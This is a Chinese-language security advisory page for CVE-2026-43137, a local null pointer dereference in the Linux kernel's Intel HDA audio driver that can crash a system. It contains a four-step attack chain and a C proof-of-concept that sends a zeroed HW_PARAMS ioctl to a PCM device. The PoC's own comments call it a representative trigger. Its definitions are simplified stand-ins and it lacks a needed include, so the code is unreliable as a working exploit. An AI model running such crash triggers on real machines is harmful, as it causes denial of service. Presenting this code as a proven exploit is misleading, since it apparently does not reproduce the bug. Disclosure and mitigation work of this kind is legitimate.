IPBUF安全漏洞报告
English
CVE-2026-43137 CVSS 5.5 中危

CVE-2026-43137 Linux Kernel空指针解引用漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43137
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

空指针解引用Linux KernelDoSASoCIntel HDA本地漏洞

漏洞概述

Linux内核的ASoC子系统中存在空指针解引用漏洞。当机器驱动程序中的DAI链接与音频拓扑结构不匹配时,特别是在回环捕获场景下,可能未能正确设置播放或捕获小部件。这导致内核在执行`hda_dai_get_ops`函数时尝试访问空指针,从而引发系统崩溃,造成拒绝服务。

技术细节

该漏洞源于Linux内核ALSA SoC框架的Intel HDA驱动代码逻辑缺陷。在处理音频流时,如果拓扑文件损坏或与机器驱动定义的DAI链接不匹配,驱动程序可能无法初始化必要的widget指针。特别是在涉及回声参考的回环捕获操作中,使用了dummy DAI link,若此时widget未设置,后续调用`hda_dai_get_ops`将直接解引用空指针。由于攻击复杂度低且无需用户交互,本地低权限攻击者可通过构造特定的音频操作触发此崩溃。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限用户访问权限(PR:L)。
STEP 2
步骤2
攻击者识别目标系统正在使用存在漏洞的Intel HDA音频驱动及Linux内核版本。
STEP 3
步骤3
攻击者通过音频接口触发特定操作(如回环捕获),利用DAI链接与拓扑不匹配的情况。
STEP 4
步骤4
内核在处理未设置的widget指针时发生空指针解引用,导致系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43137: Kernel Null Pointer Dereference in SOF Intel HDA * This PoC demonstrates the trigger condition for the NULL pointer dereference. * It attempts to setup a stream that relies on a missing widget. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Simplified definitons for the sake of the PoC #define SND_PCM_IOCTL_HW_REFINE 0x40104110 #define SND_PCM_IOCTL_HW_PARAMS 0x41104111 struct snd_pcm_hw_params { unsigned int flags; unsigned int masks[8]; unsigned int mvals[4]; unsigned int rmask; unsigned int cmask; unsigned int info; unsigned int msbits; unsigned int rate_num; unsigned int rate_den; unsigned int periods; unsigned int buffer_size; }; int main() { int fd; struct snd_pcm_hw_params params; // Attempt to open the PCM device (e.g., default or hw:0,0) // The specific device depends on the hardware using the Intel HDA driver fd = open("/dev/snd/pcmC0D0p", O_RDWR | O_NONBLOCK); if (fd < 0) { perror("Failed to open audio device"); return -1; } printf("Device opened. Attempting to trigger vulnerability via topology mismatch...\n"); // Zero out params to simulate invalid/broken topology configuration // In a real exploit scenario, specific parameters would be set to trigger // the code path where the widget is NULL. memset(&params, 0, sizeof(params)); // Trigger the ioctl that calls into the faulty hda_dai_get_ops function // This is a representative call; the actual trigger may require specific // stream setups or topology loading. if (ioctl(fd, SND_PCM_IOCTL_HW_PARAMS, &params) < 0) { perror("Ioctl failed (expected if crash did not occur immediately)"); } close(fd); printf("PoC execution finished.\n"); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
建议立即更新Linux内核到修复了该漏洞的版本。如果无法立即重启更新,可以通过限制对音频设备文件的访问权限来暂时缓解风险,防止低权限用户触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表